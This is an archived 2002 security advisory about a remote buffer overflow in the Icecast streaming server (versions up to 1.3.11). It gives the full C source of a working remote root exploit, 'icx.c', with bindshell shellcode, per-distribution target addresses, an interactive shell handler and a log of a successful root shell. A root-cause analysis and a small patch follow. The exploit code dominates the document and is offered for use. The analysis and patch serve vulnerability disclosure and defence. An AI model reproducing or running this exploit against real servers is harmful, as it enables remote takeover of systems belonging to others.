TUCoPS :: Linux :: Apps A-M :: lnx5237.htm

icecast remote shell/root exploit
3rd Apr 2002 [SBWID-5237]
COMMAND

	icecast remote shell/root exploit

SYSTEMS AFFECTED

	icecast, all versions up to 1.3.11

PROBLEM

	diz -- #temp [ posted :
	

	There is a remotely exploitable buffer overflow in all versions  of  the
	Icecast mp3  streaming  server  (www.icecast.org).  Apparently  alot  of
	people can\'t be bothered to set the  perms  on  the  icecast  log  dirs
	right and just run it as root. Hence the designation remote  shell/root.
	If not running with uid 0 it will yield a shell with the uid/gid of  the
	icecast user.
	

	 Exploit :

	 =======

	

	/*  all content is (c) #temp 2002 and may not be

	 *  (re)published in any form or (re)distributed 

	 *  without written permission of the author (diz) 

	 *

	 * 

	 * 	icx.c -- icecast remote shell/root  

	 *

	 *

	 * Found 15-02-2002...exploited 16-02-2002 ;P	

	 *

	 * Affected:

	 *  all versions up to 1.3.11 (current) 

	 * 

	 * the client_login() function is passed the full GET %s HTTP/1.0

	 * string provided by a mp3 client. Somewhere along the way an evil 

	 * string function overflows buffer bounds with our humpage.. We can 

	 * overflow just enough to reach and overwrite an instruction pointer. 

	 * Humpage occurs somewhere in the handling of the request string

	 * between mount searching and request building...Havent been able

	 * to locate the exact spot as of yet (just discovered bug yesterday 

	 * investigating another possible overflow in icecast extract_vars() 

	 * funtion) Also some libavl routines look mighty guilty..especially 

	 * avl_destroy. I cant really be bothered to check all entry points. 

	 *

	 * This is why:

	 *

	 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep strcpy all.c | wc -w

	 *    284

	 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep sprintf all.c | wc -w

	 *    568

	 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep strcat all.c | wc -w

	 *     68

	 * root@blackout:/home/diz/audits/icecast-1.3.11/src >                    

	 *

	 *

	 * A quick and dirty patch is to check and make sure the length of expr does not

	 * surpass 8000 bytes ala in client_login() in /src/client.c and recompile:

	 * 

	 * // dirty fix

	 * if(strlen(expr) > 8000) 

	 *	return;

	 * // end of dirty fix

	 *

	 * What can we do:

	 *

	 * We can either overwrite a framepointer and make the process pop an 

	 * instruction pointer out of memory we control. Or overflow eip directly. 

	 * 

	 * We go for the direct eip hump(tm)

	 *

	 * For framepointer humpage:

	 *

	 * Finding the address to overflow ebp with to make esp

	 * point into the start of our buffer is easy..just gdb the

	 * target platform icecast binary and set a breakpoint in

	 * the client_login() function..output will be like this

	 *

	 * ...

	 *  Breakpoint 1, 0x804af49 in client_login (con=0x808d0f0, expr=0xbf3fdaf4

	 *  \"GET \", \'x\' <repeats 196 times>...) at client.c:97

	 *  97      void client_login(connection_t *con, char *expr)

	 * ...

	 *

	 * expr is a pointer to our original string..so we know that

	 * is the start of our string in memory. Luck would have it we can just 

	 * use that exact address and with pop incrementing it works out

	 * to be correct and point to the start of our eip bytes :)

	 * or into nops on a normal overflow. (which we will be doing)

	 *

	 * !!! Attention:

	 *

	 * When we just go for eip in one go we also need this address because

	 * icecast will only give us one go :( so we can\'t offset and brute it

	 * allthough we CAN pad with 7000+ nops..so finding a decent one go

	 * compromise shouldnt be that much of a problem :)

	 *

	 * 			diz - #temp

	 *

	 * special word to pip and blink for helping me gather expr addresses

	 * 

	 * word to: eric, n0b0dy, muska, alcapone, sj, primalux, vonguard

	 * 		khromy, jesse666 and r0ss

	 * 

	 * !!! A big \"we hope leprosy strikes thee down!\" to 2600.net !!!

	 *

	 * to compile standard overflow sploit: gcc icx.c -o icx 

	 * to compile framepointer overflow sploit: gcc icx.c -o icx -DFPO

	 *

	 * note: for practical exploit usage just use standard mode

	 * framepointer bits are left in cuz Im toying with them

	 *

	 * 	this version is meant for linux x86 targets 

	 *

	 *     PATCHES!?!?! WE DON\'T NEED NO STINKIN PATCHES!!!

	 */

	

	/*

	

	root@blackout:/usr/local/icecast/bin > ./icecast

	Icecast Version 1.3.11 Initializing...

	Icecast comes with NO WARRANTY, to the extent permitted by law.

	You may redistribute copies of Icecast under the terms of the

	GNU General Public License.

	For more information about these matters, see the file named COPYING.

	Starting thread engine...

	[16/Feb/2002:15:39:33] Icecast Version 1.3.11 Starting..

	[16/Feb/2002:15:39:33] Starting Admin Console Thread...

	-> [16/Feb/2002:15:39:33] Starting main connection handler...

	-> [16/Feb/2002:15:39:33] Listening on port 8000...

	-> [16/Feb/2002:15:39:33] Listening on port 8001...

	-> [16/Feb/2002:15:39:33] Using \'blackout\' as servername...

	-> [16/Feb/2002:15:39:33] Server limits: 900 clients, 900 clients per 

	source, 10 sources, 5 admins

	-> [16/Feb/2002:15:39:33] WWW Admin interface accessible at 

	http://blackout:8000/admin

	-> [16/Feb/2002:15:39:33] Starting Calender Thread...

	-> [16/Feb/2002:15:39:33] Starting UDP handler thread...

	-> [16/Feb/2002:15:39:33] Starting relay connector thread...

	-> -> [16/Feb/2002:15:39:33] [Bandwidth: 0.000000MB/s] [Sources: 0] 

	[Clients: 0] [Admins: 1] [Uptime: 0 seconds]

	-> 

	

	// this was a target compiled from source on my machine

	

	diz@blackout:~/code/dizcode > ./icx -h blackout -p 8000 -b 0xbf3fdaf4 -a 1 

	[ icx -- icecast humpage -- diz (#temp) ]

	! resolving server: blackout

	! compiled as standard overflow version

	! using 0xbf3fdb58 as eip address

	! sending string

	! giving remote time to setup shop...zzz

	! attempting to connect to bindshell

	! connected to remote shell :)

	$ id

	uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow),16(dialout),17(audio),33(video),65534(nogroup)

	$ exit

	! done

	diz@blackout:~/code/dizcode > 

	

	*/

	

	#include <stdio.h>

	#include <string.h>

	#include <unistd.h>

	#include <stdlib.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <netinet/in.h>

	#include <netdb.h>

	#include <errno.h>

	

	#define ALLIGN	0

	#define NOP	0x90

	

	#define STRING 	\"GET %s%s HTTP/1.0\\n\\n\" 

	

	char allignbuf[4]; 

	char outbuf[8206]; 

	char nopbuf[512]; 

	

	#ifdef FPO

	char humpbuf[8182]; // 8181 bytes to hit ebp

	#else

	char humpbuf[8186]; // 8185 bytes to overwrite ebp and eip ( minus 4 for BSD hosts)

	#endif

	

	char code[] = 

		// taeho oh bindshell code -- binds to port 30464

		\"\\x31\\xc0\\xb0\\x02\\xcd\\x80\\x85\\xc0\\x75\\x43\\xeb\\x43\\x5e\\x31\\xc0\"

	  	\"\\x31\\xdb\\x89\\xf1\\xb0\\x02\\x89\\x06\\xb0\\x01\\x89\\x46\\x04\\xb0\\x06\"

	  	\"\\x89\\x46\\x08\\xb0\\x66\\xb3\\x01\\xcd\\x80\\x89\\x06\\xb0\\x02\\x66\\x89\"

	  	\"\\x46\\x0c\\xb0\\x77\\x66\\x89\\x46\\x0e\\x8d\\x46\\x0c\\x89\\x46\\x04\\x31\"

	  	\"\\xc0\\x89\\x46\\x10\\xb0\\x10\\x89\\x46\\x08\\xb0\\x66\\xb3\\x02\\xcd\\x80\"

	  	\"\\xeb\\x04\\xeb\\x55\\xeb\\x5b\\xb0\\x01\\x89\\x46\\x04\\xb0\\x66\\xb3\\x04\"

	  	\"\\xcd\\x80\\x31\\xc0\\x89\\x46\\x04\\x89\\x46\\x08\\xb0\\x66\\xb3\\x05\\xcd\"

	  	\"\\x80\\x88\\xc3\\xb0\\x3f\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\"

	  	\"\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb8\\x2f\\x62\\x69\\x6e\\x89\\x06\\xb8\\x2f\"

	  	\"\\x73\\x68\\x2f\\x89\\x46\\x04\\x31\\xc0\\x88\\x46\\x07\\x89\\x76\\x08\\x89\"

	  	\"\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\"

	  	\"\\xc0\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\x5b\\xff\\xff\\xff\";

	

	

	struct info {

		char *host;

		char *ip;

		int port;

		int allign;

		u_long address;

	} icx;

	

	void type(int type);

	void handleshell(int sock);

	

	int main(int argc, char **argv)

	{

		struct sockaddr_in slut;

		struct hostent *ip;

		int s, b, len = 0, i;

		u_int w[4], eip[4];

		char *temp, c;	

		

		if(argc == 1) {

			fprintf(stderr, \"Usage: %s -h <host> -p <icecast port> [ -t <type> ] OR [ -a <allign>  -b <address of *expr> ]\\n\", argv[0]);

			fprintf(stderr, \"\\nTypes are (linux version):\\n\\n\");

			fprintf(stderr, \"------------------------------------------------\\n\");

			fprintf(stderr, \"(1) SuSE 7.2 icecast 1.3.10 (rpm)\\n\");

			fprintf(stderr, \"(2) debian 2.2.r2 sid icecast 1.3.11 (deb)\\n\");

			fprintf(stderr, \"(3) slackware 8.0.0 (åtta) icecast 1.3.11 (tgz)\\n\");

			fprintf(stderr, \"------------------------------------------------\\n\\n\");

			fprintf(stderr, \"[  read comments on how to aquire new targets  ]\\n\\n\");

			exit(1);

		}

		

		fprintf(stderr, \"[ icx -- icecast humpage -- diz (#temp) ]\\n\");

	

		// default allign

		icx.allign = ALLIGN;

		

		

		while((c = getopt(argc, argv, \"h:p:a:b:t:\")) != EOF) {

			switch(c) {

				case \'h\':

					icx.host = optarg;

					break;

				case \'p\':

					icx.port = atoi(optarg);

					break;

				case \'b\':

					sscanf(optarg, \"%p\", &temp);

					icx.address = (long)temp;

					break;

				case \'a\':

					icx.allign = atoi(optarg);

					break;

				case \'t\':

					type(atoi(optarg));

					break;

				default:

					fprintf(stderr, \"! huh ?\\n\");

					exit(1);

			}

		}

		

		fprintf(stderr, \"! resolving server: %s\\n\", icx.host);

	

	        if((ip = gethostbyname(icx.host)) == NULL) {

	                perror(\"! gethostbyname\");

	                exit(1);

	        }

		

		icx.ip = (char *)inet_ntoa(*((struct in_addr *)ip->h_addr));	

	

	        s = socket(AF_INET, SOCK_STREAM, 0);

	        slut.sin_family = AF_INET;

	        slut.sin_port = htons(icx.port);

	        slut.sin_addr.s_addr = inet_addr(icx.ip);

	        memset(&(slut.sin_zero), \'\\0\', 8);

	

	

		// setting overflow address

	

		#ifdef FPO

	

		icx.address += icx.allign;	

		

		#else

		

		icx.address += 100; // pointing into nops in *expr

		

		#endif 

	

		#ifdef FPO

		

		fprintf(stderr, \"! compiled as frame pointer overflow version\\n\");

		fprintf(stderr, \"! using 0x%lx as ebp address\\n\", icx.address);

	

		#else

		

		fprintf(stderr, \"! compiled as standard overflow version\\n\");	

		fprintf(stderr, \"! using 0x%lx as eip address\\n\", icx.address);

		

		#endif 

		

		// sort out overflow bytes

		w[0] = (icx.address & 0x000000ff);

	        w[1] = (icx.address & 0x0000ff00) >> 8;

	        w[2] = (icx.address & 0x00ff0000) >> 16;

	        w[3] = (icx.address & 0xff000000) >> 24;

		

		

		// setting the eip address make sure it points into nops

		// allthough there are no nops to point into yet..behe

		

		#ifdef FPO

		

		icx.address += (16 + icx.allign + 100);

		

		fprintf(stderr, \"! using 0x%lx as eip address\\n\", icx.address);

		

		// sort out eip pop bytes

		eip[0] = (icx.address & 0x000000ff);

	        eip[1] = (icx.address & 0x0000ff00) >> 8;

	        eip[2] = (icx.address & 0x00ff0000) >> 16;

	        eip[3] = (icx.address & 0xff000000) >> 24;

		

		#endif

	

		// fill nop buffer

	        memset(&nopbuf, \'\\0\', sizeof(nopbuf));

	        for(i = 0; i < sizeof(nopbuf); i++)

	                nopbuf[i] = NOP;

	

		// allign

		memset(&allignbuf, \'\\0\', sizeof(allignbuf));

		for(i = 0; i < icx.allign && i < sizeof(allignbuf); i++) 

			allignbuf[i] = \'x\';

		

		memset(&humpbuf, \'\\0\', sizeof(humpbuf));	

	

		#ifdef FPO

		

		// place eip read bytes 4 times

		for(i = 0, b = 0; i < 16; i++, b++) {

			if(b == 4) b = 0;

			humpbuf[i] = (char)eip[b];

		}

		

		// sprintf(&humpbuf[16], \"%s%s\", nopbuf, code);

		

		#else

		

		sprintf(&humpbuf[0], \"%s%s\", nopbuf, code);

		

		#endif

		

		// filling rest of string with garbage bytes

		// be sure to take the length of nops + shellcode

		// into account when the string contains them

		

		#ifdef FPO

		

		//! fp poop

		for(i = 16; i < (sizeof(humpbuf) - 1); i++)

			humpbuf[i] = \'x\';

		

		#else

		

		// take length off shellcode and nops into account when we have some

		for(i = (strlen(nopbuf) + strlen(code)); i < (sizeof(humpbuf) - 1); i++)

	                humpbuf[i] = \'x\';

		

		#endif

	

		

		// making last 8 bytes overflow bytes (be it ebp..be it eip)

		humpbuf[sizeof(humpbuf) - 9] = (char)w[0];

	        humpbuf[sizeof(humpbuf) - 8] = (char)w[1];

	        humpbuf[sizeof(humpbuf) - 7] = (char)w[2];

	        humpbuf[sizeof(humpbuf) - 6] = (char)w[3];

	

		humpbuf[sizeof(humpbuf) - 5] = (char)w[0];

		humpbuf[sizeof(humpbuf) - 4] = (char)w[1];

		humpbuf[sizeof(humpbuf) - 3] = (char)w[2];	

		humpbuf[sizeof(humpbuf) - 2] = (char)w[3];

		

		

		// connecting and going for the hump

		if(connect(s, (struct sockaddr *)&slut, sizeof(struct sockaddr)) == -1) {

			perror(\"! connect\");

			exit(1);

		}

		else {

			memset(&outbuf, \'\\0\', sizeof(outbuf));	

			snprintf(outbuf, sizeof(outbuf), STRING, allignbuf, humpbuf);

			

			#ifdef DEBUG

			for(i = 0; i < sizeof(outbuf); i++) 

				fprintf(stderr, \"! byte %d [ 0x%x ]\\n\", i, outbuf[i]);

			#endif

			

			do {

				fprintf(stderr, \"! sending string\\n\");

				len += send(s, outbuf, strlen(outbuf), 0);

			}

			while(len < strlen(outbuf));

			

			close(s);

		

			fprintf(stderr, \"! giving remote time to setup shop...zzz\\n\");

			sleep(5);	

		

			fprintf(stderr, \"! attempting to connect to bindshell\\n\");

			s = socket(AF_INET, SOCK_STREAM, 0);

			slut.sin_port = htons(30464);

			if(connect(s, (struct sockaddr *)&slut, sizeof(struct sockaddr)) == -1) {

	                	perror(\"! connect\");

				fprintf(stderr, \"! check 30464 with nc in case target was slow\\n\");

	                	exit(1);

			}

			else {

				fprintf(stderr, \"! connected to remote shell :)\\n\");

				handleshell(s);

			}

	        }

			

		fprintf(stderr, \"! done\\n\");

		exit(0);

	}

		

	void type(int type)

	{

		// suse 7.2 1.3.10 (rpm)

		if(type == 1) {

			icx.address = 0xbf3fdaf4;

			icx.allign = 0;

			return;

		}

		

		// debian 2.2.r2 sid 1.3.11 (deb)

		if(type == 2) {

			icx.address = 0xbeffdaf4;

			icx.allign = 0;

			return;

		}

		

		// slackware 8.0.0 (åtta) 1.3.11 (tgz)

		if(type == 3) {

			icx.address = 0xbeffdaf4;

	                icx.allign = 0;

	                return;

		}

	

		fprintf(stderr, \"! type not found..exiting\\n\");

		exit(1);

	}

	

			

	void handleshell(int sock)

	{

	 	char inbuf[4096], outbuf[1024];

	

		fd_set fdset; 

		fprintf(stderr, \"$ \");

	     

		while(1) {        

		

			FD_ZERO(&fdset);

	        	FD_SET(fileno(stdin), &fdset);

	        	FD_SET(sock, &fdset);

	

			select(sock + 1, &fdset, NULL, NULL, NULL);

	

			if(FD_ISSET(fileno(stdin), &fdset)) {

				memset(outbuf, \'\\0\', sizeof(outbuf));

				fgets(outbuf, sizeof(outbuf), stdin);

				if(strstr(outbuf, \"exit\") != NULL) {

					close(sock);

					return;

				}

				if(write(sock, outbuf, strlen(outbuf)) < 0) {

					fprintf(stderr, \"! write error\\n\");

					return;

				}

			}

	

			if(FD_ISSET(sock, &fdset)) {

				memset(inbuf, \'\\0\', sizeof(inbuf));

				if(read(sock, inbuf, sizeof(inbuf)) < 0) {

					fprintf(stderr, \"! read error\\n\");

					return;

				}

				fputs(inbuf, stderr);

				fprintf(stderr, \"$ \");

			}

		}

	}

	

	

	

	 Update (05 April 2002)

	 ======

	

	diz -- #temp also posted following ananysis of exploit :
	

	

	[ Full analysis of multiple Icecast 1.3.11 remotely exploitable overflows ]

	

		Pardon my lousy formatting..but this was just a quick writeup

	

	

	Ok..I did some digging into where the exact overflow occurs. And

	came up with the following results:

	

	The bad voodoo happens when the following line of code is executed.

	I tracked down the how and why and will try to explain it in this

	text.

	

	<evil code>

	int diff = tree->cmp (item, p->data, tree->param);

	</evil code>

	

			[ other exploitable bugs ]

	

	This line is called from avl_find() (avl.c) when it is called from 

	get_alias() (alias.c) which is in turn called from find_mount_with_req() 

	(source.c). It should be noted that a bit further down the 

	road a sprintf() call in find_mount_with_req() could also be 

	exploited if and when the discussed bug in the avl routine is fixed. This

	problem regards the following line:

	

	

	sprintf(pathbuf, \"%s:%d%s\", req->host[0] ? req->host : \"localhost\", 

	req->port, req->path);

	

	

	Pathbuf being 8192 bytes. req->path also being able to get up to 8192 

	user-supplied bytes thus you\'d be able to overflow pathbuf bounds by 

	strlen(req->host) + req->port bytes. Which, if you take the default \"localhost\" 

	and a high port is enough to reach and overwrite ebp and eip located behind 

	pathbuf[BUFSIZ]. 

	

		[ the exploited bug in question ]

	

	Ok onto the particulars of the bug I exploit...

	

	avl_find() is called as follows from within get_alias()

	

	if (!res) {

		search.name = req;

		res = avl_find (info.aliases, &search);

	}

	

	[ structures ]

	

	search.name is a member from an alias_t structure which looks like 

	this:

	

	typedef struct alias_St

	{

	        request_t *name;

	        request_t *real;

	} alias_t;

	

	request_t looks like this:

	

	typedef struct request_St

	{

	        char path[BUFSIZE];

	        char host[BUFSIZE];

	        int port;

	} request_t;

	

	

	so search.name is just a request_t structure. which is assigned the user 

	supplied req (which contains the supplied overflowstring req->path);

	

	So now search.name.path == req.path.

	

			[ avl_find\'s guts ]

	

	avl_find()\'s prototype is: 

	

	void *

	avl_find (avl_tree *tree, const void *item)

	

	It is called as:

	

	avl_find (info.aliases, &search);

	

	The avl_tree structure looks like this:

	

	typedef struct avl_tree

	  {

	#if PSPP

	    struct arena **owner;       /* Arena to store nodes. */

	#endif

	    avl_node root;              /* Tree root node. */

	    avl_comparison_func cmp;    /* Used to compare keys. */

	    int count;                  /* Number of nodes in the tree. */

	    void *param;                /* Arbitary user data. */

	        mutex_t mutex; /* to protect the tree */

	  }

	avl_tree;

	

			[ pointing to an evil function ]

	

	This structure contains a function pointer called cmp. In the case of info.aliases, 

	which is the first avl_tree struct argument to avl_find(), this function pointer is 

	a pointer to compare_aliases() which is located in avl_functions.c. 

	

	It\'s prototype is as follows:

	

	int

	compare_aliases (const void *first, const void *second, void *param)

	

	From within avl_find() compare_aliases() is called via the function 

	pointer tree->cmp in the following manner:

	

	int diff = tree->cmp (item, p->data, tree->param);

	

	Item being the search structure, which we established contained the full 

	user supplied request path in the form of search.name.path;

	

			[ inside compare_aliases() ]

	

	Now if we take a look at compare_aliases we see the following:

	

	int

	compare_aliases (const void *first, const void *second, void *param)

	{

	        alias_t *a1 = (alias_t *) first, *a2 = (alias_t *) second;

	        char full[BUFSIZE], full2[BUFSIZE];

	

	        if (!a1 || !a2 || !a1->name || !a2->name || !a1->name->host || \\

	!a1->name->path || !a2->name->host || !a2->name->path)

	        {

	                write_log (LOG_DEFAULT, \"WARNING: NULL pointers in \\

	comparison\");

	                return -1;

	        }

	

	        sprintf (full, \"%s:%d%s\", a1->name->host, a1->name->port, \\

	a1->name->path);

	        sprintf (full2, \"%s:%d%s\", a2->name->host, a2->name->port, \\

	a2->name->path);

	

	        return ice_strcmp (full, full2);

	}

	

	a1 == item. a1->name->path == search.name.path which equals the user supplied

	request path. 

	

	So in essence we have the same situation that I warn about earlier 

	in this txt. An sprintf that will allow a buffer overflow of full[BUFSIZE] 

	with user (remotely) supplied data. Which results in ebp and eip being 

	overwritten and the execution of arbitrary code.

	

				[ conclusion ]

	

	Phew..this has been quite the witchhunt..but I hope this has shed some 

	more light on the how, the what and the exact location of the Icecast bug. 

	As I said this situation occurs many times throughout the icecast source 

	and I would recommend replacing all unsafe string functions with more 

	bounds aware variants to prevent any future problems.

	

				With regards,

				diz -- #temp

	

SOLUTION

	 Update (04 april 2002)

	 ======

	

	Neeko Oni provided following patch, it\'s the  suggested  patch  in  the
	icx.c exploit, with an added logging flag.
	

	

	--- client.c    Wed Aug  1 16:06:53 2001

	+++ src/client.c      Wed Apr  3 12:36:23 2002

	@@ -103,6 +103,11 @@

	 

	        xa_debug(3, \"Client login...\\n\");

	 

	+       if (strlen(expr) > 8000) { 

	+               write_log(LOG_DEFAULT, \"WARNING: expr greater than 8000--possible BOF attack?\");

	+       return;

	+}

	+

	        if (!con || !expr) {

	                write_log(LOG_DEFAULT, \"WARNING: client_login called with NULL pointer\");

	                return;

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH